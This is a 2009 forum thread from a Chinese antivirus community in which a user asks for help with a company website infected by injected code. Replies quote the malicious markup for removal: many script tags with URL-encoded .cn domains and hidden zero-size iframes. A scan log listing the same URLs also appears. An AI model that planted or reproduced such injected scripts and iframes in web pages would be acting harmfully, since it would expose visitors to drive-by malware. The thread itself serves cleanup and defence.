收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 软件区 › 解疑答难区 › 求助 公司的网站中毒了
12下一页
返回列表 发新帖
查看: 3420|回复: 12
收起左侧

[已解决] 求助 公司的网站中毒了

 关闭 [复制链接]
vebee
发表于 2009-3-11 13:25:08 | 显示全部楼层 |阅读模式
求助 公司的网站中毒了

怎么办？   地址是 www.hai-fa.com.cn

各位帮我看看，最好是能教教我 该怎么弄 谢谢
回复

举报

vebee
 楼主| 发表于 2009-3-11 13:25:26 | 显示全部楼层
上面木马好多，各位小心
回复

举报

huihui458
发表于 2009-3-11 13:47:20 | 显示全部楼层
是有毒,我MCAFEE报了,真的好几个!!1 各位高手教教她吧,我不会啊
回复

举报

宝贝要升天了
发表于 2009-3-11 13:50:12 | 显示全部楼层

回复 1楼 vebee 的帖子

楼主打开首页的默认文件,清除下列内容.



<script src=http://yyhaomm.cn></script><script src=http://%61%76%65%31%2E%63%6E></script><script src=http://%61%76%65%31%2E%63%6E></script><script src=http://%61%76%65%31%2E%63%6E></script><script src=http://%61%76%65%31%2E%63%6E></script><script src=http://%61%76%65%31%2E%63%6E></script><iframe src=http://www.pdh001.cn/b3.htm width=50 height=0 border=0></iframe><script src=http://%61%76%65%32%2E%63%6E></script><script src=http://%61%76%65%32%2E%63%6E></script><script src=http://%61%76%65%32%2E%63%6E></script><script src=http://%61%76%65%32%2E%63%6E></script><script src=http://%61%76%65%32%2E%63%6E></script><script src=http://%61%76%65%32%2E%63%6E></script><script src=http://%61%76%65%32%2E%63%6E></script><iframe src=http://www.union501.cn/b3.htm width=50 height=0 border=0></iframe><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%61%76%65%33%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%31%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%32%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%33%2E%63%6E></script><script src=http://%75%69%6E%34%2E%63%6E></script><script src=http://%75%69%6E%34%2E%63%6E></script><script src=http://%75%69%6E%35%2E%63%6E></script><script src=http://%75%69%6E%35%2E%63%6E></script><script src=http://%63%63%68%31%2E%63%6E></script><script src=http://%63%63%68%31%2E%63%6E></script><script src=http://%76%76%6B%31%2E%63%6E></script><script src=http://%76%76%6B%31%2E%63%6E></script><script src=http://%76%76%6B%31%2E%63%6E></script><script src=http://%76%76%6B%31%2E%63%6E></script><script src=http://%76%76%6B%31%2E%63%6E></script><script src=http://%76%76%6B%31%2E%63%6E></script><script src=http://%76%76%6B%31%2E%63%6E></script><script src=http://%76%76%6B%31%2E%63%6E></script><script src=http://%68%68%6A%31%2E%63%6E></script><script src=http://%68%68%6A%31%2E%63%6E></script><script src=http://%76%76%6B%32%2E%63%6E></script><script src=http://%68%68%6A%32%2E%63%6E></script><script src=http://%68%68%6A%32%2E%63%6E></script><iframe src=http://www.miss2225.cn/b3.htm width=50 height=0 border=0></iframe><script src=http://%62%62%67%32%2E%63%6E></script><script src=http://%62%62%67%33%2E%63%6E></script><script src=http://%62%62%67%33%2E%63%6E></script><iframe src=http://www.bg6119.cn/b3.htm width=50 height=0 border=0></iframe><iframe src=http://www.bg8028.cn/b3.htm width=50 height=0 border=0></iframe><script src=http://%62%62%67%37%2E%63%6E></script><script src=http://%62%62%67%38%2E%63%6E></script><iframe src=http://www.bg8642.cn/b3.htm width=50 height=0 border=0></iframe><script src=http://%62%62%67%38%2E%63%6E></script>



<iframe src=http://www.miss2225.cn/b3.htm width=50 height=0 border=0></iframe><script src=http://%62%62%67%32%2E%63%6E></script><script src=http://%62%62%67%33%2E%63%6E></script><script src=http://%62%62%67%33%2E%63%6E></script><iframe src=http://www.bg6119.cn/b3.htm width=50 height=0 border=0></iframe><iframe src=http://www.bg8028.cn/b3.htm width=50 height=0 border=0></iframe><script src=http://%62%62%67%37%2E%63%6E></script><script src=http://%62%62%67%38%2E%63%6E></script><iframe src=http://www.bg8642.cn/b3.htm width=50 height=0 border=0></iframe><script src=http://%62%62%67%38%2E%63%6E></script>
回复

举报

98°
发表于 2009-3-11 13:52:14 | 显示全部楼层

回复 4楼 宝贝要乖乖哦 的帖子

版主果然不是盖的。
回复

举报

分分离离
头像被屏蔽
发表于 2009-3-11 13:56:09 | 显示全部楼层
网管呢？他干啥呢？装个服务器版或者企业版的杀毒软件吧

给楼主推荐几个

服务器版：卡巴斯基

企业版：诺顿 （推荐）防护好

麦咖啡企业版 （推荐）防护好

NOD32企业版
回复

举报

宝贝要升天了
发表于 2009-3-11 13:56:42 | 显示全部楼层

回复 5楼 98° 的帖子

请theone管理员吃一顿,然后就有版主了,你也试试哦


网页,希望是主页挂马,祝福下楼主吧.
如果是全部hml感染,那估计真个网站都要从来了.

楼主清理iframe的时候,记得先把网站关闭咯,不然跑马车又来了

[ 本帖最后由 宝贝要乖乖哦 于 2009-3-11 13:58 编辑 ]

评分

参与人数 1经验 -1 收起 理由
伊の星 -1 抱歉，这个帖子按规定属于灌水

查看全部评分

回复

举报

98°
发表于 2009-3-11 14:01:18 | 显示全部楼层

回复 7楼 宝贝要乖乖哦 的帖子

被扣了。
回复

举报

evilrabbit
发表于 2009-3-11 14:06:22 | 显示全部楼层
Log is generated by FreShow.
[wide]http://www.hai-fa.com.cn
    [frame]http://www.miss2225.cn/b3.htm
    [script]http://%62%62%67%32%2E%63%6E
    [script]http://%62%62%67%33%2E%63%6E
    [script]http://%62%62%67%33%2E%63%6E
    [frame]http://www.bg6119.cn/b3.htm
    [frame]http://www.bg8028.cn/b3.htm
    [script]http://%62%62%67%37%2E%63%6E
    [script]http://%62%62%67%38%2E%63%6E
    [frame]http://www.bg8642.cn/b3.htm
    [script]http://%62%62%67%38%2E%63%6E
    [script]http://yyhaomm.cn
    [script]http://%61%76%65%31%2E%63%6E
    [script]http://%61%76%65%31%2E%63%6E
    [script]http://%61%76%65%31%2E%63%6E
    [script]http://%61%76%65%31%2E%63%6E
    [script]http://%61%76%65%31%2E%63%6E
    [frame]http://www.pdh001.cn/b3.htm
    [script]http://%61%76%65%32%2E%63%6E
    [script]http://%61%76%65%32%2E%63%6E
    [script]http://%61%76%65%32%2E%63%6E
    [script]http://%61%76%65%32%2E%63%6E
    [script]http://%61%76%65%32%2E%63%6E
    [script]http://%61%76%65%32%2E%63%6E
    [script]http://%61%76%65%32%2E%63%6E
    [frame]http://www.union501.cn/b3.htm
    [script]http://%61%76%65%33%2E%63%6E
    [script]http://%61%76%65%33%2E%63%6E
    [script]http://%61%76%65%33%2E%63%6E
    [script]http://%61%76%65%33%2E%63%6E
    [script]http://%61%76%65%33%2E%63%6E
    [script]http://%61%76%65%33%2E%63%6E
    [script]http://%61%76%65%33%2E%63%6E
    [script]http://%61%76%65%33%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%31%2E%63%6E
    [script]http://%75%69%6E%32%2E%63%6E
    [script]http://%75%69%6E%32%2E%63%6E
    [script]http://%75%69%6E%32%2E%63%6E
    [script]http://%75%69%6E%32%2E%63%6E
    [script]http://%75%69%6E%32%2E%63%6E
    [script]http://%75%69%6E%32%2E%63%6E
    [script]http://%75%69%6E%32%2E%63%6E
    [script]http://%75%69%6E%32%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%33%2E%63%6E
    [script]http://%75%69%6E%34%2E%63%6E
    [script]http://%75%69%6E%34%2E%63%6E
    [script]http://%75%69%6E%35%2E%63%6E
    [script]http://%75%69%6E%35%2E%63%6E
    [script]http://%63%63%68%31%2E%63%6E
    [script]http://%63%63%68%31%2E%63%6E
    [script]http://%76%76%6B%31%2E%63%6E
    [script]http://%76%76%6B%31%2E%63%6E
    [script]http://%76%76%6B%31%2E%63%6E
    [script]http://%76%76%6B%31%2E%63%6E
    [script]http://%76%76%6B%31%2E%63%6E
    [script]http://%76%76%6B%31%2E%63%6E
    [script]http://%76%76%6B%31%2E%63%6E
    [script]http://%76%76%6B%31%2E%63%6E
    [script]http://%68%68%6A%31%2E%63%6E
    [script]http://%68%68%6A%31%2E%63%6E
    [script]http://%76%76%6B%32%2E%63%6E
    [script]http://%68%68%6A%32%2E%63%6E
    [script]http://%68%68%6A%32%2E%63%6E
    [frame]http://www.miss2225.cn/b3.htm
    [script]http://%62%62%67%32%2E%63%6E
    [script]http://%62%62%67%33%2E%63%6E
    [script]http://%62%62%67%33%2E%63%6E
    [frame]http://www.bg6119.cn/b3.htm
    [frame]http://www.bg8028.cn/b3.htm
    [script]http://%62%62%67%37%2E%63%6E
    [script]http://%62%62%67%38%2E%63%6E
    [frame]http://www.bg8642.cn/b3.htm
    [script]http://%62%62%67%38%2E%63%6E
    [script]http://www.hai-fa.com.cn/skin/default/main.js
    [script]http://www.hai-fa.com.cn/stm31.js
    [script]http://www.hai-fa.com.cn/Skin/default/AC_RunActiveContent.js
    [frame]http://www.miss2225.cn/b3.htm
    [script]http://%62%62%67%32%2E%63%6E
    [script]http://%62%62%67%33%2E%63%6E
    [script]http://%62%62%67%33%2E%63%6E
    [frame]http://www.bg6119.cn/b3.htm
    [frame]http://www.bg8028.cn/b3.htm
    [script]http://%62%62%67%37%2E%63%6E
    [script]http://%62%62%67%38%2E%63%6E
    [frame]http://www.bg8642.cn/b3.htm
    [script]http://%62%62%67%38%2E%63%6E
回复

举报

evilrabbit
发表于 2009-3-11 14:07:47 | 显示全部楼层
补充句 上面挂的是死循环，并不是挂了什么大量的木马，我也没仔细分析。
回复

举报

下一页 »
12下一页
返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-10-12 10:09 , Processed in 0.129708 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表